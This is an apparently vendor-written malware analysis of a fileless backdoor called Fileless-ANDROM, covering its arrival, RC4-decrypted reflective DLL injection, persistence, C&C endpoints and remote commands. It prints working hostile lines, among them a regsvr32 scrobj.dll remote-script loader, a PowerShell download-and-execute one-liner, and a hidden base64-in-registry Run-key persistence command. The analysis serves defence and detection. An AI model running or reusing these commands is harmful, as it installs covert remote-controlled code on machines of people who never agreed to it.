Fileless-ANDROM

NOTES:
This malware may be downloaded from the following remote sites:

It arrives via the following means:

• The malware could arrive via autostart registry created by other malware:
  • HKEY_USERS\{SID}\Software\Microsoft\Windows\CurrentVersion\Run
    COM+ = "regsvr32 /s /n /u /i:http://{BLOCKED}2.{BLOCKED}3bw.ru/restore.xml scrobj.dll"
    

It connects to the following website(s) to download and execute a malicious file:

• https://{BLOCKED}ndo.ru/p1

It uses the following Powershell to download and execute a malicious file:

• %System%\WindowsPowerShell\v1.0\powershell.exe -nop -ep Bypass -noexit -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }; iex ((New-Object System.Net.WebClient).DownloadString('https://{BLOCKED}ndo.ru/p1'));

The downloaded file will not be saved in the machine, thus, it will be executed directly upon successful download via powershell commands.

Once executed, this downloaded file will then connect to the following website(s) to download and execute another malicious file:

• https://{BLOCKED}ndo.ru/favicon

This newly downloaded file (normal file, favicon) will also not be saved in the machine, instead, it will be decrypted using RC4 Algorithm, in order to produce a malicious DLL file, which will be injected in the malware's process directly, using ReflectivePEInjection function

The decrypted DLL file is the main backdoor payload. This DLL file does the following:

It checks for the following requirements to proceed with its routine:
• No existing "Global\Mutex_4e1c16d7187ac191a832a41f7192645425dad5c792b76ed1dd7071926289ac66" mutex
• No existing "C:\Python27" folder
• Presence of "%System%\WindowsPowerShell\v1.0\powershell.exe"

It adds the following processes:

• WerFault.exe (Windows Vista and above) / ctfmon.exe (Windows XP and below)
• msiexec.exe

It injects codes into the following process(es):

• created WerFault.exe/ctfmon.exe
• created msiexec.exe

It adds the following mutexes to ensure that only one of its copies runs at any one time:

• Global\Mutex_4e1c16d7187ac191a832a41f7192645425dad5c792b76ed1dd7071926289ac66

It adds the following registry entries to enable its automatic execution at every system startup:

• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  {UID} = "%System%\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\{random character}').{random character})));"
  

It adds the following registry entries:

• HKEY_CURRENT_USER\Software\Classes\{random characters}
  {random characters} = {base 64 encoded powershell command}
  
• HKEY_CURRENT_USER\Software\Classes\{random characters}
  {UID} = {encrypted binary data}
  
• HKEY_CURRENT_USER\Console\%SystemRoot%\_system32_WIndowsPowerShell_v1.0_powershell.exe
  WindowPosition = 4294905760
  
• HKEY_CURRENT_USER\Console\%SystemRoot%\_system32_WIndowsPowerShell_v1.0_powershell.exe
  ScreenBufferSize = 65616
  
• HKEY_CURRENT_USER\Console\%SystemRoot%\_system32_WIndowsPowerShell_v1.0_powershell.exe
  WindowSize = 65616
  

It uses the following powershell command to decrypt and execute the base64 encoded powershell command in the registry:

• "%System%\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\{random characters}').{random character})));"

It deletes the following registry entries:

• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  {UID} = {where the data has the following strings}:
  
  • "powershell"
  • "-windowstyle hidden"
  • "[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String"
• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  COM+ = {current value}
  
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe
  Debugger = "taskmgr.exe"
  

It terminates the following processes if found running in the affected system's memory:

• powershell.exe

It connects to the following URL(s) to check for an Internet connection:

• microsoft.com

It connects to the following Network Time Protocol (NTP) servers:

• africa.pool.ntp.org
• oceania.pool.ntp.org
• asia.pool.ntp.org
• south-america.pool.ntp.org
• north-america.pool.ntp.org
• europe.pool.ntp.org

It connects to the following websites to send and receive information:

• http://{Random Generated Domain}/nonc.so
• http://{BLOCKED}an.ru/q.php
• http://{BLOCKED}ano.ru/q.php

It gathers the following data:

• Root Volume Serial Number
• Operating System Version
• Local IP Address
• Administrator privileges

It executes the following commands from a remote malicious user:

• Start a Process
• Download a file directed by C&C server, save it as %User Temp%\KB{8 random numbers}.exe and execute it
• Copy %System%\cdosys.dll to %User Temp%\cdo{random number}.dll and load it
• Uninstall itself